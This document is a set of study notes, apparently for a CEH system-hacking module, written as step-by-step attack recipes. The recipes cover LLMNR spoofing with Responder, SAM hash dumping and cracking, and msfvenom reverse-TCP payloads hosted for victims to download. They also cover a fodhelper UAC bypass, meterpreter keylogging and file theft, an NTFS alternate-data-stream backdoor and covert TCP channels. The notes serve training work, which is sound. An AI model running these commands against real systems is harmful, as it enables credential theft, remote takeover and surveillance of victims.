6 - System Hacking

Module 06 - System Hacking

Finding FQDN

FQDN stands for Fully Qualified Domain Name. It is a complete and unambiguous domain name that specifies a host's exact location in the Domain Name System (DNS) hierarchy. An FQDN includes both the host's hostname and its domain name, providing a full and unique address for a specific resource on the internet.

FQDN (FQDN = Hostname + Domain) an example can be: mail.example.com mail (hostname), example.com (domain).

In windows, if we go into advanced system settings and system properties, we've full computer name and workgroup name, if we've workgroup name it means that we've not a centralized Domain Controller, then the full computer name consists of just the computer name without domain name.

While, in another scenario, if we see System control panel, at computer name, domain and worgroup settings we see a more long full computer name because we've Domain Controller associated.

Find FQDN of domain controller using Nmap

We can find FQDN using nmap of domain controller in a subnet

nmap -p389 -sV -iL <target_list> -> if we've more targets IP

or

nmap -p389 -sV <target_IP>

port 389 regarding LDAP service: protocol used for accessing and maintaining directory info such as user account within a network. We can associated it functionality as a phonebook or address book that helps you to search, retrieve and update info in that directory.

Running nmap command we'll retrieve info about Domain and Host name:

Domain: pentester.team Service Info: Host: DC;
then FQDN = DC.pentester.team

Dump and Crack SAM (Security Account Manager) hashes

Windows stores passwords in LM and NTLM hash format | NTLM New Technology LAN Manager.

Need admin access to dump SAM.

WMIC (Windows Management Instrumentation Command) CLI to get info about local system

wmic useraccount get name,sid | displays usernames and their SIDs

LLMNR / NBT-NS Spoofing

Responder : rogue authentication server to capture hashes

This can be used to get the already logged-in user's password, who is trying to access a shared resource which is not present Step by Step

# In Parrot/Kali OS, 
responder -I eth0

# In windows, try to access the shared resource, logs are stored at usr/share/responder/logs/SMB<filename>
# To crack that hash, use JohntheRipper
john SMB<filename>

NTLM Hash crack

esponder -I eth0
usr\share\responder\logs --> Responder log location
john /usr/share/responder/logs/ntlm.txt

Rainbow table crack using Winrtgen

Open winrtgen and add new table
Select ntlm from Hash dropdown list.
Set Min Len as 4, Max Len as 6 and Chain Count 4000000
Select loweralpha from Charset dropdown list (it depends upon Password).
rcrack_gui.exe to crack hash with rainbow table

Hash dump with Pwdump7 and crack with Ophcrack

Pwdump7 (To dump password hashes)

pwdump7.exe -d c:\lockedfile.dat backup-lockedfile.dat |dump protected file
Browse admin terminal to pwdump7 path and run pwdump.exe in cmd -> shows password hashes
PwDump7.exe > c:\hashes.txt -> export hashes to path defined
In text file replace boxes with account names obtained from WMIC. The last code numbers will be the identity. And Save the file

{% embed url="https://www.tarasco.org/security/pwdump_7/pwdump7.zip" %} pwDump7.exe : To Dump Windows Hashes {% endembed %}

Ophcrack (To crack password hashes)

To crack passwords not longer than 14 characters using only alphanumeric characters

Open /x86 gui version. Load PWDUMP and select the hashes.txt file.
Select Table Vista Free. Install it from location where ophcrack files are placed.
Click Crack to start cracking
Copy the Hashes.txt to shared drive for future labs.

{% embed url="https://ophcrack.sourceforge.io/download.php?type=ophcrack" %} Ophcrack.exe : To Crack SAM Hashes to obtain clear password {% endembed %}

Winrtgen – Create Rainbow table

Click on add table
Select hash NTLM, min length 4, max length 6, Chain Count 4000000, Charset Loweralpha
Click OK on main window to start , table is saved in Winrtgen folder.

Rainbow Crack

Open rcrack_gui.exe
Click File, then select Load NTLM hashes from PWDUMP
Open Hashes.txt saved from before Now click Rainbow Table -> Select Rainbow table -> Select table created by winrtgen -> crack process automatically starts

Or

wmic useraccount get name,sid --> Get user acc names and SID
PwDump7.exe > c:\hashes.txt
Replace boxes in hashes.txt with relevant usernames from step 1.
Ophcrack.exe -> load -> PWDUMP File
Tables -> Vista free -> select the table directory -> crack

{% embed url="http://project-rainbowcrack.com/" %} rcrack_gui.exe : Use Raindow Table to crack hashes {% endembed %}

Perform Active Online Attack to Crack the System's Password using Responder

Linux:

cd
cd Responder
chmox +x ./Responder.py
sudo ./Responder.py -I eth0
passwd: ****

Windows

run
\CEH-Tools

Linux:

Home/Responder/logs/SMB-NTMLv2-SSP-**<Target IP>**txt
sudo snap install john-the-ripper
passwd: ****
sudo john /home/ubuntu/Responder/logs/SMB-NTLMv2-SSP-10.10.10.10.txt

Establish VNC connection to target machine using MSFVENOM and MSFCONSLE

Payload setup

msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86 -f exe
LHOST=10.10.10.11 LPORT=444 -o /root/Desktop/Test.exe #-p payload, --platform platform of the target, -a architecture, -f output format, -o save the output path
mkdir /var/www/html/share #make directory
chmod -R 755 /var/www/html/share #change rights recursively to all files and foldersinside
chown -R www-data:www-data /var/www/html/share #change owner recursively owner:group
mv /root/Desktop/Test.exe /var/www/html/share #move the exploit
service apache2 start

Listener Setup

msfconsole -q
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.10.11
set LPORT 444
Run

Execute Exploit

Open http://10.10.10.11/share on victim machine.
Download Payload and run. Meterpreter shell is opened on attacker side. Type sysinfo to get system details.
Type run vnc to start vnc viewer.

Create a Reverse TCP Connection

# creates reverse TCP from windows  machine, send this file to victim machine via python-Webserver/shared resource
msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86 -f exe LHOST=<attacker_IP> LPORT=444 -o fake_setup.exe  ↵

msfdb init && msfconsole
use exploit/multi/handler
set LHOST=<attacker-IP>
set LPORT=444
  run

Privilege Escalation using MSFVenom and MSFConsole

Payload Setup

msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86 -e
x86/shikata_ga_nai -b "\x00" LHOST=10.10.10.11 -f exe > Desktop/Exploit.exe #-e encoder, -b list of bad characters to avoid
mkdir /var/www/html/share #make directory
chmod -R 755 /var/www/html/share #change rights recursively to all files and folders inside
chown -R www-data:www-data /var/www/html/share #change owner recursively owner:group
mv /root/Desktop/Test.exe /var/www/html/share #move to exploit
service apache2 start

Listener Setup

#Open http://10.10.10.11/share on victim machine. Download Payload and run.
sessions -i #to view sessions
sessions -i 1 #to interact with the session created
getuid to #get user id
#Run post exploitation exploit
run post/windows/gather/smart_hashdump #will fail right now
getsystem | will fail right now #use getystem -h to view all available methods
getsystem -t 1 #use technique 1 to escalate privileges | will fail right now
background #backgrounds the meterpreter session.
search uac in msfconsole #get view modules related to uac

Run Exploit

use exploit/windows/local/bypassuac_fodhelper
show options #to view options related to the payload
set SESSION 1 #the previous opened meterpreter session id
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.10.11
set TARGET 0
exploit
getuid to get user id
etsystem #to escalate privileges
Run post exploitation exploit run post/windows/gather/smart_hashdump #to dump password
hashes

Post Exploitation Activities on Target

After meterpreter is successfully running, try these commands:

sysinfo
ipconfig
getuid
pwd
ls
cat secret.txt
timestomp secret.txt -v #view modified, accessed, created time of file
cd c:\ #then pwd, ls
download bootmgr #downloads the bootmgr file from c:\ to home directory of kali
search -f “filename.ext” |here “pagefile.sys” #displays complete path of file
keyscan_start #to start keylogger
keyscan_dump #to dump keylogger results
idletime #shows the time the target user has been away from keyboard
shutdown #shutdown the victim machine

Hiding file in NTFS stream

The NTFS file system includes support for alternate data streams. A file stream is a sequence of bytes that contains data about a file, such as keywords or the identity of the user who created the file. Think of a data stream as a file within a file — a hidden file residing within a legitimate one. Each stream has its own disk space allocation, its own actual size (bytes in use) and its own file locks.

Copy calc.exe from system32 dir.
Make c:\magic folder.
Copy calc.exe inside it, and create a text file readme.txt
Type c:\magic\calc.exe > c:\magic\readme.txt:calc.exe
Type mklink backdoor.exe readme.txt:calc.exe -> create a link to the ADS file to create backdoor
Execute backdoor.exe

Hiding Data Using White Space Steganography

Create a text file readme.txt like this below

readme.txt

Copy it inside the SNOW folder
Open cmd in the folder
Type snow -C -m "Secret message" -p "password" <original file name> -C compression, -m message string, -p password Hide method Type snow -C -p "password"
Type snow -C -p "password" <file name to unhide data>

Image Steganography

Image Steganography is the process of hiding information which can be text, image or video inside a cover image. The secret information is hidden in a way that it not visible to the human eyes.

OpenStego

Hide Data

Select text message file which you want to hide
Select the cover file image where data is to be hidden
Set output path and file name
Set password if needed
Click Hide Data

Extract Data

Select the stegno file
Set the Output folder path
Give the password
Click Extract Data

{% content-ref url="../tools/openstego.md" %} openstego.md {% endcontent-ref %}

QuickStego

Hide Data

Select the open image option to browse the image where data is to be hidden
Select the open text option to browse the text file which you want to hide
Click Hide Text to embed text in image
Click Save Image to output the result image

Extract Data

Select the open image option to open the modified image
Hidden text will be displayed in right side bar

{% content-ref url="../tools/quickstego.md" %} quickstego.md {% endcontent-ref %}

Steganographic Decoder

Online steganography tool

{% embed url="https://futureboy.us/stegano/decinput.html" %}

Covert Channels using Covert_TCP

Hiding traffic in IP4 headers to avoid detection.

We need to download and compile the tool on both machine (attacker and target):

wget https://raw.githubusercontent.com/cudeso/security‐ tools/master/networktools/covert/covert_tcp.c
sudo apt install gcc
cc ‐o covert_tcp covert_tcp.c

Attacker:

cd Desktop
mkdir Send
cd Send
echo "Secret"->message.txt
Place->Network
Ctrl+L
smb://<Target IP>
Account & Password
copy and paste covert_tcp.c
cc -o covert_tcp covert_tcp.c -> Compile the Code

Target:

tcpdump -nvvx port 8888 -I lo
cd Desktop
mkdir Receive
cd Receive
File -> Ctrl+L
smb://<Target IP>
copy and paste covert_tcp.c
cc -o covert_tcp covert_tcp.c
./covert_tcp -dest 10.10.10.9 -source 10.10.10.13 -source_port 9999 -dest_port 8888 -server -file /home/ubuntu/Desktop/Receive/receive.txt
Tcpdump captures no packets

Attacker

./covert_tcp -dest 10.10.10.9 -source 10.10.10.13 -source_port 8888 -dest_port 9999 -file /home/attacker/Desktop/send/message.txt -> # Create A Message file that need to be transferred
Wireshark (message string being send in individual packet)

Wireshark

Additional Resources

Start Python webserver

python3 -m http.server 4443

Perform HTTP Request

curl http://<Target_IP>:4443/?foo=bar

Useful curl options:

-k: Accept untrusted certificates

-d “foo=bar”: HTTP POST data

-H: “Foo: Bar”: HTTP header

-I: Perform HEAD request

-L: Follow redirects

-o foobar.html: Write output file

--proxy http://127.0.0.1:8080: Set proxy